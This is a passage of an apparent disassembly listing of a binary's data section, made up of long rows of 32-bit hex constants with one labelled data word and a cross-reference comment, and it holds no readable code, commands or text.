5F46002Bh, 9F8F6BF0h, 32408CEh, 4E018888h dd 0C63F9BA3h, 3D51CCCh, 2315DA34h, 0A0E44A68h, 1A0384FCh dd 0D29E3703h, 0D3C6800Ch, 0B1D90E30h, 360FE7BFh, 8E345300h dd 9500BE39h, 0D45C7EDFh, 2C7C91h, 0C441A426h, 0C5AA35B9h dd 7E3671E0h, 67613067h, 83097826h, 0F87CD4D2h, 0C6063Eh dd 0DB0E5A16h, 0FE02B7h, 0A0BD3BDh, 73F6B24Eh, 6878BB2Bh dd 23804B90h, 4DC03718h, 0BF6E4707h, 8100FA2Fh, 0C4BB99h dd 0D367A9FEh, 0DC77E64Ch, 9F986E00h, 732DEDF4h, 0D5B90706h dd 50DA82CFh, 0E97CC725h, 623D7603h, 0F7F3943Fh, 91633h dd 72DF3479h, 867F4693h, 32E0AF54h, 3A970D00h, 40368320h dd 0AEBC1D8Dh, 0E7D30064h, 2905C9BFh, 0B91B8400h, 0BCDC808h dd 33C7098Bh, 8C20208Dh, 2641767Fh, 4A90850Ch, 687104h dd 0DE520950h, 7FFCCEE4h dd 0C6A1D613h, 606F4B0Fh, 87B7280Ch, 3F5C0066h, 5D27679Bh dd 0D80A118Eh, 0B4CE3697h, 0B001B880h, 0C4C8FA3h, 91FBB49Dh dd 0B730E718h, 183E8195h, 35F6276Eh, 4800C378h, 79B0C932h dd 19CDD8h, 0B933FDE5h, 4AA2B621h, 0E8178400h, 500F808Eh dd 3EE60EC3h, 968762AAh, 0F2C51008h, 0C60AFF63h, 38E184B7h dd 0F4079911h, 1FD9DD21h, 0A4A05A21h, 81883BFh, 3B951613h dd 5800C5A6h, 0BD448655h, 82035C8Dh, 7A50E162h, 16EBD9F9h dd 3C71A0F9h, 0DAE02547h, 0E6901Dh, 4988ABEh, 1CC1C2A4h dd 809C5107h, 9685AB08h, 0A0351AC0h, 1CC7AE2h, 0AA627660h dd 30A9B071h, 0E548FC15h, 3B3C0CF0h, 40DC2933h, 0F901A5Ch dd 0EC063E00h, 0F543C6Dh, 319D120Eh, 9020000Bh, 17DCE5CBh dd 0E82BF200h, 82C6A075h, 20C401EBh, 0DF5FB8D7h, 0ADB7200Ah dd 1300CFE2h db 8Ah, 5Ch word_4D4152 dw 5D12h ; DATA XREF: ___:off_42E644o dd 7AB9263h, 83A509C8h, 0F7E8D316h, 0EE71ECA0h, 8F06BB00h dd 0B589AFE5h, 735500BDh, 6E9C381Ah, 0F000DB1Ch, 0C2AA3326h dd 0B36C50h, 0ADD82FB4h, 0A11853E9h, 9F2BD700h, 147E522Ch dd 0CDF0ECh, 3CDF4592h, 0D3070C8Fh, 0E0C25B0Eh, 423720A4h dd 1451A7h, 0E2AAF2FEh, 0B10D73B8h, 0C906B700h, 0CF41196Ch dd 356B06Ah, 0D2AEA922h, 6991B466h, 168CDCFCh, 0CEFD9B0Eh dd 0FF8B007Dh, 874AACh, 9D18F80Bh, 611C1958h, 81C06F00h dd 3A1B6364h, 8AA0002Ch, 7D655F6Dh, 0CE0F666Ch, 80A6B2C0h dd 0DE9EFB97h, 59D05D4h, 80E0777Eh, 73CE8C2Dh, 5BBCE800h dd 0F8819350h, 0FBDB0003h, 823A54ECh, 0E0705FEEh, 0AC8B653Bh dd 3F00DDAFh, 0D81E6E43h, 0CA25C23h, 0BE87F700h, 279A8110h dd 78A8BC00h, 889F9266h, 32650E11h, 7F2FC08h, 0E149262Ch dd 0E8F4C242h, 0B005DA0h, 0E63D8122h, 2E9CDFBCh, 0AF5C9D7h dd 7E1FA0Eh, 0B0F61A7Ch, 0B4287490h, 7E933B00h, 383C5F13h dd 6B1600FEh, 0ADE91254h, 8B006A97h, 4C27B488h, 264E84h dd 643C60B6h, 0D89251C1h, 15B123Ch, 1ED21F47h, 14E4F1AAh dd 0DC990032h, 0AC1B5F55h, 0D0007307h, 8C7D3D84h, 9A88C0h dd 48FA05F8h, 57141103h, 3E0F6090h, 49A8C1h, 6C622390h dd 49600BFh, 0F38F1B93h, 2B7F766Bh, 9387D92Eh, 0D467B20Bh dd 0B720049h, 580E94B9h, 7DBE3000h, 0BB5357F7h, 35710017h dd 90B0B37Fh, 0DA0CCEF9h, 0A8EF83C8h, 28D100FBh, 0FF195D39h dd 0B5F8B818h, 80000E90h, 14DAD06Fh, 0F564A6h, 4125B08Ah dd 0E475095h, 34943Dh, 79B49073h, 0A3382Ah, 0CF6B4209h dd 7BF857CAh, 9B5B9C00h, 3CFAF90Ah, 0EC830188h, 325D0539h dd 54862EEFh, 94B503E0h, 0F9630FBAh, 73E07FB8h, 29651D00h dd 7C439CF3h, 1527038Ch, 1864C226h, 401FDA80h, 490E45F4h dd 234EDB86h, 0F86C5281h, 77C9A69h, 0C899885Bh, 0B0606716h dd 468B76A4h, 0BC407B00h, 7F3822DCh, 84EA0088h, 0CF0F402h dd 0B03E9DEh, 0E2FD5BB4h, 0C7548882h, 0B0F6B7h, 0B21BAE6Fh dd 6C53E4B8h, 0B9E8EF05h, 5CC06636h, 60ABE3h, 0A084DC43h dd 34FFA307h, 55A17700h, 0F8F73C7Fh, 3DD1EA4Dh, 2E80511Eh dd 3E32401Ch, 3C0025C5h, 0B57B76CCh, 806241h, 600974A5h dd 1282D364h, 13482160h, 0F22467Bh, 0CA6B905Ch, 15C66200h dd 3736E98h, 0AE7AC900h, 0D50D09A8h, 0F9B20029h, 0A243E3B3h dd 441CB9EBh, 33C09EC5h, 5D8D6865h, 0A170007Fh, 6A1D85AAh dd 0CA017BA4h, 0EE9E2AE2h, 9443416Dh, 0D02BE33Fh, 8BC6EBh dd 68E3357Fh, 0D8F1D99Ah, 27F5B600h, 0CE11DF3Ah, 720300E0h dd 55B8DD0Dh, 43037DABh, 0ED62405Eh, 0D0469315h, 6CE7FEh dd 47AF34ADh, 42F15AA5h, 833A383Ah, 95F8125Dh, 0A388880Fh dd 440A00C4h, 956C9A8h, 2B51A25Fh, 657DD4D4h, 0F2BAFE00h dd 5CC03134h, 74840EABh, 23C1A8BBh, 20A3FD54h, 0EE06B008h dd 98780872h, 0A9660E10h, 3E209D2Eh, 3BE5CD0Ch, 0B0091FFCh dd 9AD6DDh, 93A74C05h, 0A8750083h, 0FFED4D14h, 0DF00C90Ch dd 1886ABFEh, 4084DDh, 0C489BFE9h, 0C06573ADh, 45704B00h dd 0D39C17DEh, 59DB0371h, 1C365E4Fh, 150A35D0h, 8FA7F71Dh dd 37BE5500h, 183EF24h, 60F92370h, 0DC34A44Fh, 0AA00A9F8h dd 528AEC0Bh, 1D6968CDh, 0C37DF082h, 0CCC408A6h, 0D718EF88h dd 1EC9870Fh, 0F1CFE02Eh, 419A16h, 0BFC2B459h, 0D23D4AC8h dd 104C1C00h, 50C6A5F5h, 816E3F07h, 7E5FEC00h, 7B14BAFAh dd 0A9053F07h, 0F290F0D3h, 7159771Dh, 186E009Ah, 35AF4FF9h dd 0D7B88138h, 303C9000h, 0C24AAB12h, 792F0F10h, 3409A05h dd 0D9770CCCh, 0E9006C76h, 36255B9Bh, 2CFE28F3h, 0AD26841h dd 3A0A578h, 86B719BCh, 7B40608Ah, 0D70E5E49h, 4B4B3DF5h dd 81F10079h, 0FB98EBh, 0E41801CBh, 0A6C92507h, 84776600h dd 0F38636CAh, 6CE800ABh, 0DDDEFD6Eh, 131EDC44h, 620691ECh dd 3C10BDD9h, 6608988Ch, 0FC0FBC30h, 78520690h, 7547831h dd 0B6771EC3h, 98208FDEh, 358ED822h, 0C161B902h, 688688B1h dd 3934320h, 0C4A2C392h, 948885B7h, 3198D198h, 8DFE58h dd 6696BC79h, 11AE3A2h, 148EC4BFh, 217EC1BAh, 25488FA1h dd 913760DBh, 743B8C66h, 9B29041h, 0B74F1A06h, 0C3402883h dd 0D42381F9h, 830E2E88h, 608C464Bh, 6859728Bh, 9C5A00CDh dd 895343A2h, 0F100BEA0h, 67F28E66h, 0A37F76h, 0D58FAA49h dd 0F92B4CBDh, 0C607B47Fh, 0DAECF77Eh, 8FE92A30h, 0AF6F1C74h dd 4DE401A6h, 30C99E72h, 965CF2BEh, 12E00066h, 0BC884BFEh dd 0D2E60761h, 833D210Dh, 0B2A08B68h, 0C6071D15h, 0E1F84DFBh dd 3AE25C0h, 9F3602CFh, 0CB83A110h, 806DDDE1h, 0E982DD78h dd 0C0D4B2h, 0DE2374F6h, 5D4896CAh, 910028B8h, 0FF3DCCB5h dd 0DABA01h, 9FC0E895h, 0EE520A6Fh, 0F4464A00h, 13254374h dd 68DB0070h, 0BEAADEC9h, 0B250CABCh, 0D0005AA0h, 0C83E5439h dd 0D179CEh, 3A596496h, 11380D77h, 71ADD000h, 4C3D1890h dd 0DC5E0326h, 7B834617h, 0E2DDBD80h, 0FF86CF1Eh, 0E98EE842h dd 37C84193h, 583326CDh, 0C72DC207h, 0DAACD01Dh, 322E2BE5h dd 9407D52Ch, 0F7078690h, 79AD7560h, 0E98500A5h, 0CD7A3B31h dd 81008E25h, 38DBD382h, 0B5C76Eh, 9A618095h, 0C0084DA4h dd 2C00097Eh, 0FE64A24h, 685251h, 4EA530EFh, 0B87A6095h dd 0F8084F07h, 8D5016E3h, 74D8D0F1h, 7839003Fh, 7E4E02A0h dd 8F0074C1h, 459B12F5h, 3D8C80B4h, 0C600B0BBh, 2790DE85h dd 30003850h, 2C18D006h, 99A707h, 0DECAA45Ch, 82496E75h dd 5F9D4C00h, 84C250F9h, 40ED00C3h, 0DBBE571h, 0E8031A77h dd 44D5F4F1h, 0D310A819h, 33180ED9h, 0C884326Ah, 8A40809Fh dd 0F4036412h, 0F556092Bh, 348ABF0h, 1518B19h, 6298F2A9h dd 9BFE258Ch, 14009C90h, 8EBDBB49h, 0F2B21A19h, 83471624h dd 159800A8h, 0C9E2346Bh, 37380667h, 6E0084C4h, 0EB1D396Fh dd 11F4362Eh, 0E5CA0600h, 7FD07271h, 70C70E9Bh, 0F943168Ch dd 31906C5Dh, 5B147B06h, 0ECF449h, 0D07770BBh, 98505E03h dd 0CEA00165h, 0BF2729A7h, 0C316E00Ch, 1FFDC3Eh, 0DB937309h dd 74614094h, 0F2C30h, 456A46A2h, 0C19E791Fh, 6F530303h dd 0EC3578C8h, 9149FCC0h, 0A7EACh, 2F20457h, 4ABCCAB0h dd 0E8F88B00h, 7DD85B03h, 0EB950149h, 0BBAE4017h, 0B2028083h dd 69BF901Ch, 0D91200A9h, 2E4FA2CFh, 5CB2C252h, 0CAF7D700h dd 59FBD4Bh, 0F860068h, 0A069FDCFh, 0CD00F86Bh, 3AD045E6h dd 28B5F3h, 0A5179634h, 0C5FD6021h, 41F78200h, 67A0B914h dd 9870774Eh, 0E126009Ch, 0DA08DD23h, 15035745h, 553C9E0Ch dd 670EC8B7h, 5991F071h, 0FC2A00E3h, 7AF09844h, 0AFB705A0h dd 47A488h, 0FFF970BCh, 6B0610EBh, 417C334Ah, 0FCC40018h dd 0B1B3A91Bh, 610E07A1h, 87959A4Ch, 67D00139h, 0C6947E3h dd 0E7A3594Dh, 507D5D80h, 0FEE93F05h, 0A8804097h, 50E055DCh dd 5E7ECF2h, 5AA7D26Dh, 74980062h, 83B632Ah, 5E09D3EAh dd 20DE513Dh, 0DA90A224h, 0C53300D9h, 269C16E0h, 0CF02CEFFh dd 4CC2D775h, 0C0C0434Eh, 135CDFh, 719C9718h, 7D8C0155h dd 0C300417Ch, 9D9F3CC4h, 3B4333h, 0A8A9261Bh, 0B358105Eh dd 2A509107h, 0ABC02B22h, 0CEF634h, 608416C9h, 0AE42D73Ah dd 0B79D0A00h, 3E025D35h dd 2F0D0061h, 249973CDh, 9050C31h, 82E039D9h, 0D5FF6CC0h dd 8566006Fh, 609FCFDDh, 7400C96Ah, 548A79D8h, 0C69E45h dd 0F7BB0A40h, 7BAF95F0h, 47E22905h, 0A700D2D1h, 0C7ED845h dd 72A900AAh, 0E93D92F1h, 2900840Dh, 3AA3D7B4h, 0E4C78Ch dd 0D15058A0h, 33816C6Fh, 0EAB94F00h, 86271BC0h, 0B2FCFAB7h dd 0AB9C0070h, 402F738h, 9800AC72h, 80E6A615h, 1EC4A8A1h dd 4077C548h, 6C70D4FDh, 0CF001140h, 0F90FE89Eh, 235979h dd 7A589CF8h, 0F13D155Dh, 0FC715F00h, 634701E6h, 0F86C5C72h dd 0A7077448h, 70D730F2h, 87534CA5h, 0E51938h, 0B33CAE73h dd 8232DFh, 0AA68B641h, 497EF08Eh, 5F4C9612h, 0F369D000h dd 42A917h, 934DF759h, 40CDE49Fh, 4636C100h, 9152ECF6h dd 6453014Bh, 328B79CCh, 1CE0E23Bh, 2FFCE1FEh, 1014FF00h dd 799DE497h, 0D9312455h, 0B5840022h, 6F956E4Dh, 2AB1CC00h dd 0E485A356h, 0F64E7CE5h, 3237B38h, 37E31434h, 1800E24Ch dd 0CFACA78Dh, 90F55A80h, 3060068h, 0E6F9D928h, 0F6003078h dd 3CFA4254h, 2405E04h, 3EED681Fh, 90419A03h, 0D009FCFDh dd 0B02C7C79h, 290100FCh, 8EEE5701h, 0A4175874h, 0FD7CD0h dd 894BA9FBh, 8D83C2Fh, 0D2C8CB05h, 0DC03D783h, 88A341E1h dd 1CF790h, 5CBE5EFFh, 0CEA7C9B3h, 7E702400h, 0E2966436h dd 8F3700F9h, 0AEAF83CCh, 9500FFA4h, 56C515Bh, 26BFAB3h dd 654EB652h, 0C3E00A47h, 0A3989B3Ch, 0C3233900h, 9EAD2894h dd 6B7864h, 8F36F05Bh, 1D21DEB0h, 4994B900h, 0C6DC3973h dd 0CAA0000Dh, 9DBC8387h, 2D00BB60h, 0E0A3AEFCh, 134A34B7h dd 90E55EF2h, 0FBB4CD10h, 4458489Ah, 4DB70014h, 705A24E8h dd 0B9770E5Dh, 59EFE6A8h, 0CA16AA40h, 72098813h, 0A20103h dd 6206C33h, 0B9FF0766h, 0CF292252h, 81428D60h, 0B6030C48h dd 587F1E2Ah, 0FB310178h, 4010ADB8h, 54D0E813h, 306D3500h dd 324A4212h, 0D22107B4h, 0B0DCABB0h, 2672F61Eh, 37491F00h dd 0CC66927Dh, 2CD9010Fh, 63BF16C2h, 7C72D0h, 4B900E76h dd 31E0961h, 9C15AD7Bh, 54F8B324h, 3B071947h, 5C89CCDBh dd 0CD2091D0h, 7D320085h, 58312A04h, 3625A3E0h, 0EE424F2h dd 1232C12Fh, 81FD3D6Fh, 1DDC6080h, 8835B887h, 0D198B403h dd 0B8B17B45h, 483D022Eh, 0F27F5046h, 127E7461h, 884E1A3Bh dd 488173A0h, 0B9284007h, 391E8EB4h, 21875DC8h, 0EF013602h dd 0CEE41BDEh, 963D289Ah, 79A70180h, 0C17D9849h, 0DAD0F372h dd 0B20E14F5h, 0A3683D2Dh, 90AFA9E4h, 5CFBF1h, 0EBEE42ABh dd 0F00F180Eh, 0B70E047Ah, 20C4671Fh, 9EA46699h, 0A3331835h dd 0BD88A044h, 38120C00h, 0C4571A8Bh, 0A4140994h, 146804C1h dd 8E69C527h, 4D044831h, 28B90020h, 0BD687811h, 37D2430h dd 29BB48h, 0C51D3776h, 0B6CF2Eh, 7E659DDEh, 6162033Ch dd 3D007176h, 77FA1B60h, 0ECFE93B3h, 751100EFh, 91852DF3h dd 0AC2CC38Eh, 2E3E573Fh, 160A2392h, 1581C899h, 9EB42CF4h dd 0CC35F0h, 0DE44EBE6h, 7D8D41B6h, 64DCB9C0h, 1EF0389h dd 0D1973C12h, 0D191E41Bh, 5B2180F0h, 25720371h, 9BDA00DEh dd 87B68F55h, 3400F51Dh, 77A29F46h, 0A492613h, 2B18DE43h dd 86683284h, 8032A30h, 98B412E6h, 0AA408564h, 4B370392h dd 39716800h, 1882B693h, 6D2705C0h, 47A29DA5h, 815A40B0h dd 8042F84Bh, 0C4E49C11h, 7D1343Bh, 0D93DA460h, 21464667h dd 0C4ECFD00h, 1CEEE22Fh, 0B787300Dh, 27C37F50h, 3B8526Bh dd 7C7C5B86h, 6F2310D0h, 0A2984353h, 21F5308Ch, 0DD3B8779h dd 0DB581B13h, 0A1B80A70h, 9E9C12D5h, 34B2C03Bh, 6CFA785Bh dd 73177900h, 0EE072482h, 0E5ED3A3Fh, 0A759DD80h, 3ED76801h dd 1700F8B8h, 0C1940AF5h, 3C95028Eh, 0DE8E4737h, 0CDC01D5Ch dd 4E31D56Dh, 0B02D5900h, 47B8C110h, 0A8970081h, 453CD2BCh dd 29003782h, 44EEE5E7h, 90D84Ch, 89BCADACh, 0B7CF2811h dd 126A2300h, 0C9EBA9FFh, 5CDB3CE8h, 8589C300h, 14AD1CE3h dd 0BB7C0200h, 3F5AFC86h, 6C7892h, 64EBF231h, 0E1F979Dh dd 0D51D4600h, 0EC14B4C2h, 9F47001Ch, 0B5D902FDh, 13004840h dd 2E46E139h, 70DB4DEh, 813114ACh, 61C3209Ah, 0DB30A638h dd 0C2DF70FFh, 0F23701B0h, 5B51B546h, 0EC188047h, 0CD38FCAFh dd 9FA7071Dh, 0F0FD1927h, 1F2C2E80h, 87AD78CEh, 1E50022Bh dd 26FC6DAh, 560B034Bh, 24826D51h, 0D986847Dh, 6CB0481Ch dd 0D8E02E00h, 509238C6h, 717DC1h, 4C28D5E1h, 16AC5F32h dd 0F80059EEh, 71D01C94h, 1B249533h, 9130045Bh, 190074ABh dd 0CCA03EC2h, 0E881B868h, 0DD321D31h, 0C7A981E6h, 0A00FC844h dd 7E02F1A0h, 0BA5A0759h, 0DF049D58h, 5EE87AE1h, 83CA1180h dd 2BD0E992h, 94C76E00h, 2F885228h, 32DA19AAh, 0D8D919D6h dd 0EE897B1Bh, 0D0ED2211h, 0F030BA5Ch, 0FE580892h, 21E268E8h dd 5410033Ch, 48F8B43Ch, 99003EDDh, 0C14DBF13h, 6CC96h dd 0E1D6B11Dh, 6E92E636h, 77BC7C0Fh, 0FCC705EEh, 0DB1B58C0h dd 28B10014h, 1FA25A09h, 0BA015904h, 8AD5071Ah, 0C0DB05F0h dd 0A0DAA072h, 0D9FB40h, 2F45B48Eh, 487E957Ah, 75F10700h dd 288CC773h, 508006E9h, 0C0B75FA2h, 0B9077033h, 0A83DC081h dd 0B13C00B0h, 0EBE11B2Eh, 61052F13h, 0E9823E7Ch, 38C93406h dd 290611F8h, 544700DCh, 6973C885h, 92F1889h, 1CD8186Ah dd 0B1A09E00h, 271706CEh, 5FF400DBh, 15313B2Bh, 0A6076AB6h dd 50565D3Ah, 9662D80h, 94CB1D6Dh, 6C7E05E8h, 51AC40B3h dd 50ADFE89h, 83E84854h, 0AB027BE0h, 9A888201h, 51FC90F1h dd 661318E9h, 0C9A0C042h, 8005D630h, 51476F3h, 0D8096EAAh dd 0DD984182h, 71888575h, 92241C87h, 48520086h, 9C232711h dd 18CF31D9h, 0FFF36005h, 1F6876BAh, 0FD03E76Ch, 19875F80h dd 94D0487Dh, 7C43C03Ah, 3CBB8004h, 480EFACh, 5008FEF3h dd 1D50FC1Fh, 1C460BDFh, 0C88A01D0h, 0F051699Ch, 0BA002752h dd 0A391AA17h, 0F86EDD3Ch, 0B0E251DEh, 84FA5818h, 9D17B142h dd 0F93C40BAh, 853AA9Fh, 807ED82Ah, 103A74A1h, 48E78893h dd 1880688Dh, 45413DFh, 3F2EA0A0h, 0B0B5FF37h, 0A71ECE40h dd 0D78C06B6h, 18FA096Fh, 33CA203h, 0E0272EB4h, 12F7188Ah dd 1D8B10Ch, 16596868h, 39282258h, 25F183Dh, 915C8718h dd 1D700974h, 1590402Ah, 62B1F476h, 748C1043h, 79A73022h dd 7819E548h, 1700EC91h, 0AF688C59h, 0ED4F1485h, 7B28886Bh dd 5AEF00FCh, 0DA63A90Fh, 0D0A9CC9h, 34F63B02h, 18445E62h dd 0B7041CF1h, 8EF70B3Fh, 400208D2h, 48278CCh, 0A9950FE4h dd 717C901Dh, 31F1BE3h, 82434F1Eh, 0E98D3E36h, 0BCC4DFE0h dd 6022738Ch, 8B8348DDh, 9300AEEDh, 953A704Fh, 19F0116h dd 21A98277h, 0B5673950h, 0B600BCE0h, 0E80B3DFFh, 7F32140Dh dd 0D4505C84h, 80D751A2h, 3F1A448h, 340CEF04h, 1BFA853Ch dd 768F90AFh, 1A817180h, 207D2106h, 0EF3DD00h, 4477AA22h dd 0FE0103C8h, 0F23DF151h, 9214B801h, 55C5954Dh, 0E3877080h dd 285A265Bh, 3DABE40h, 0EE069A38h, 80015C61h, 6659993Ah dd 0CF3C236h, 0F914D8A8h, 0A4A89148h, 383FD43Dh, 36670C0Eh dd 0A1D8D1A6h, 3087DCBDh, 0B3253A65h, 6919BDE4h, 0AA808E20h dd 1960E803h, 72FB86E9h, 0A21400DCh, 168771A6h, 540004BFh dd 2B4CFFD4h, 15C3E24h dd 951C19CFh, 20790CF9h, 41C00E9Ch, 0F80A728Fh, 0F6331EE2h dd 0BAA8812Bh, 0FB5CDCB5h, 0C9D8B100h, 0C397C19h, 40D0245Ah dd 0ABF28A60h, 0C0381EDCh, 8C5F3450h, 0C013337Bh, 980167F6h dd 77EBE7F9h, 53463180h, 0F60956C4h, 692463F8h, 0E905ACDBh dd 0E820DA85h, 0F65752EBh, 625D1FBFh, 0FF03846Bh, 91DC9068h dd 0FC295445h, 0C184FCDCh, 0F880AC4Ah, 3AB93784h, 0E9002B73h dd 0F1678C7Ch, 0D90002FCh, 1E0787AEh, 0EF4486Ch, 0DB76FBDCh dd 6525BC21h, 0C0203189h, 0B0A6BE1Ah, 44518500h, 0A69114D9h dd 0FB891229h, 0A10012Ah, 0F8653DADh, 2DEE1587h, 50915FEEh dd 312F8200h, 0FE8DBC9Eh, 2A60825Eh, 4228673Eh, 200FB0BBh dd 40338625h, 8569F696h, 5C7831D5h, 41BCF1E9h, 0C2516FBCh dd 0AFFFC480h, 50011F37h, 0A6E457D9h, 0BFF13C25h, 0B9EBE0C7h dd 6F6303B1h, 76626EF1h, 3486D9A1h, 3E0AF984h, 9454A840h dd 0E8000492h, 0C7348429h, 6414A0C9h, 0A90C0C6Bh, 30303AC5h dd 0BC75E88h, 77D08590h, 5BFFA001h, 0AB80F2AFh, 68BF0A9Eh dd 523F4Ch, 3EA6C67h, 1339E851h, 38505Dh, 0C7DC6B50h, 0A8093304h dd 0A49FDAh, 44523D8Ch, 69FF00DFh, 8B799B91h, 0FE00BA56h dd 0F9FD5501h, 910AC21h, 82343F09h, 742CE096h, 0DAC2800Fh dd 13F864EAh, 756F3956h, 109C8B28h, 3455CFBDh, 7F2D21F2h dd 0EAE84890h, 128C1549h, 6824EC2Fh, 0E2409h, 8CAFCAA0h dd 4004985Ch, 240164Fh, 98209918h, 3D9A61D5h, 28629937h dd 8F83106Fh, 5003752Ah, 0EE08D94Dh, 89690416h, 825B8BC3h dd 0CC4149ACh, 8F4030B9h, 2C495E42h, 4C09D215h, 28A2A518h dd 91885C63h, 8609817h, 66D0790Fh, 0FC46DC92h, 1EB08620h dd 0C07E1BB2h, 0AA2D14FFh, 0A4705C3Dh, 57DEE203h, 8947AD0Ch dd 8849405Bh, 0FF1D0033h, 0F899010Ch, 324BA693h, 0C07448ACh dd 0EE04FDDBh, 2819597Ah, 12D4C5C1h, 0C434217Bh, 0AA264D5Bh dd 8285C48Fh, 0D0D10FA2h, 6833A90Ah, 4EE21D02h, 4F626B5Fh dd 0B1A3BC20h, 48078A26h, 0D833ACDDh, 0FA742069h, 9E6EE10h dd 5F23E509h, 34E82492h, 1E49D95Ch, 96461F24h, 2E3CED04h dd 0A068DCh, 9056CCB3h, 645B6CF6h, 3057E4A9h, 5188C050h dd 0AFF0132Eh, 9890D675h, 0DBF1C261h, 518743EBh, 0D3DFAB25h dd 75E3B6EEh, 85EC80E5h, 99C98BC8h, 62482703h, 798609C0h dd 0C89F0F51h, 484E47Fh, 53C088B2h, 0C3D49h, 0EF492DAFh dd 18641425h, 8995E773h, 68014ECBh, 0E60D3A51h, 0A01170C3h dd 3709F8DBh, 960364B1h, 0B86F89E0h, 0A64BBF1Bh, 0C5B41CBCh dd 3CF340EEh, 383D6422h, 2EA2670Eh, 0F018952Dh, 9EE115h dd 30BDAEA1h, 42DE1986h, 0FDDC9D1Dh, 2956D209h, 20E0A098h dd 47C3E2h, 0D97C7490h, 888955BCh, 99AFA039h, 3BD07E96h dd 0F1DFA970h, 9D43E983h, 0C9C8D280h, 40A9FB5Bh, 99947001h dd 51E76C02h, 0E5D19AC2h, 68AE88C4h, 0CB40F8AEh, 4C58D8BBh dd 39126454h, 6F50455Bh, 0D588C03Dh, 0F91217AFh, 45DB98Ch dd 2E5C1407h, 0EC598350h, 16900B76h, 9380451Fh, 4F5D3D74h dd 1DF07759h, 89704065h, 4D0FCA3h, 0EA782DEBh, 3D5893F1h dd 0B4D912C8h, 1E091402h, 0C099CBB9h, 790494h, 18C14493h dd 0B0953DD5h, 89A46A54h, 9A00B498h, 628B4DCh, 0A0C8501Eh dd 0F21A7C81h, 0ED080095h, 2D94F3DAh, 8A69A64h, 80391C21h dd 1A887754h, 333EABCCh, 6D300FDh, 4D39DC2Eh, 60F61CA0h dd 925A8011h, 0F965CABFh, 20EEF128h, 7C77A40Fh, 896880C8h dd 0C96CBBh, 565C2EB1h, 558C4850h, 0D05B7300h, 785F01EEh dd 16D0C1A4h, 34156BD5h, 221ABB74h, 4B190C8Dh, 1362FCFCh dd 1A10B16h, 20B06E20h, 31282EECh, 3621C055h, 0D73E0EAFh dd 1F0823E0h, 4E2AE8B9h, 925D4F3h, 0AB202F8Ah, 968884A0h dd 400DC85h, 0F635D5EFh, 14ECB288h, 0DC341289h, 337D2302h dd 34C0D63Dh, 7C02565Ah, 9742B59h, 0A6606115h, 3165E860h dd 3DD896B2h, 58C824C7h, 0E853AA0Ch, 48503869h, 3860B62Ah dd 28AF6EB6h, 3CE7421Fh, 44778400h, 0A4F3B480h, 0F4CA2108h dd 81F64089h, 0DBBC8928h, 39DC0C20h, 0A201BE19h, 3F3FBFDh dd 0B444F5Bh, 392ED8ADh, 0C860F4D4h, 71A90054h, 7F21EE33h dd 5B01802Ch, 0DDDA9B72h, 39BE5F51h, 2F5A0E42h, 204FC922h dd 3D7007A8h, 542FB8F0h, 4E1D046h, 3471A079h, 82C0E2A9h dd 4255EC70h, 88CC19ACh, 7324B05Bh, 4854BA4h, 69A44282h dd 0E07026A6h, 8E962F3Eh, 0E07EBB73h, 910376F1h, 8A05257h dd 0C1A35910h, 5C1594D1h, 0CC407C21h, 71A896Ch, 67A89578h dd 59BD53A0h, 6849D8F2h, 1468DAA3h, 6409DA39h, 1A09A7Eh dd 0F798BBFCh, 0DC2D3CEDh, 600A72C0h, 9127A27Ch, 0A4048295h dd 2234C896h, 0A331C069h, 0F7F32102h, 315CCB00h, 0DC15542Ah dd 0B3DD173Eh, 9D20250h, 1C6083BFh, 29048046h, 9CC4C3E1h dd 0F88AE4F0h, 8368CE42h, 998080F3h, 39FF1BE1h, 5F221260h dd 0FA11B061h, 139AA060h, 0D896B1A2h, 0F1126F54h, 4C2102D4h dd 0E0354DA9h, 0EECA188Bh, 80E2B804h, 7A092810h, 23C3821Ch dd 700010A6h, 21385714h, 0DB340C54h, 6E183092h, 1355E909h dd 69C0C0DDh, 3332CE5h, 19EE806Ch, 0F9A3042Ah, 203CE1h dd 31FB567h, 112D5F1h, 0B104CB06h, 0FBEBEE9Bh, 3E7C59E0h dd 52A69A3Fh, 0BB284C0h, 0DA82421Dh, 4CE02CD2h, 45000D6Bh dd 589F732Eh, 2E468971h, 12AF5457h, 15A00517h, 181842ABh dd 30949DE7h, 6F306245h, 9761248Dh, 69F900C0h, 99F1844Eh dd 0AB71511Fh, 0FDF4C700h, 0C0F03CA9h, 748AD7D9h, 94FC1582h dd 0A020AC24h, 5AE9AA01h, 146CDD25h, 0C397C14h, 0DA79760Fh dd 40E4B28Ah, 3668C923h, 7EF8ED49h, 9CC000B6h, 469B2957h dd 0F1A5C097h, 15070ACh, 12F22F89h, 6407717Dh, 5F0A1648h dd 0D8DA41EEh, 0F7918286h, 3C890311h, 81BCD553h, 7E579106h dd 3EA0DE30h, 3498F17Ah, 5B845866h, 6997117h, 0CD09E12h dd 9BA05Fh, 0A88FC689h, 0E1845C8Bh, 86FF962Dh, 1D93B7Ch dd 175B490Ch, 0DC1F395Dh, 0B0008840h, 0ECD632C3h, 798F2BD0h dd 0A0262530h, 9AAA10A1h, 0A46DC177h, 0A2002511h, 7BC74D3Bh dd 56E118A0h, 0DCF1C87Fh, 50C60A24h, 504E702Fh, 6062C00Bh dd 596880E4h, 89498CF7h, 8DA24DCh, 0EBC57D03h, 0EA33F9FAh dd 21920898h, 9D00EC7Ah, 0D53923B5h, 2DC3856Ch, 508C5C93h dd 55F081A1h, 40DAF73Eh, 0AB771CA7h, 1C00BFF3h, 0A990822Ah dd 21C0B52Bh, 0FCAC3F7Eh, 44743C83h, 62318081h, 80F94ED1h dd 0B63D56E1h, 0EB7F84Ah, 0FDDB0E35h, 76CC2A20h, 0ED022E4Eh dd 0A834BB9Bh, 77104088h, 68DB7C3Fh, 0ABEF8CDh, 8748F603h dd 24FDAB7Dh, 20B662A8h, 51AC3AB8h, 2EA4D400h, 3DE08FCBh dd 0FFB430BBh, 939BD9E8h, 7F165905h, 0B44E6256h, 4782BC9Fh dd 7CDB356Ch, 0E5D60B31h, 0A4DDD080h, 61003EF5h, 0E1105313h dd 9F98CB2h, 0E9D88BFBh, 307DB901h, 634D20EFh, 3AEE8A03h dd 0D9710481h, 82E0431Dh, 0AFF603EDh, 5096DAEh, 64A863ABh dd 7200E8A0h, 0B8CD81A4h, 3E66E286h, 2E8B83EEh, 0FC80FB9Ah dd 0A3894427h, 1DE92D3Ch, 0B000B5F0h, 1EE08B6Ch, 99543E60h dd 32E34800h, 4DB2FC9Dh, 0D6612901h, 0FAEE8D33h, 3BD78F30h dd 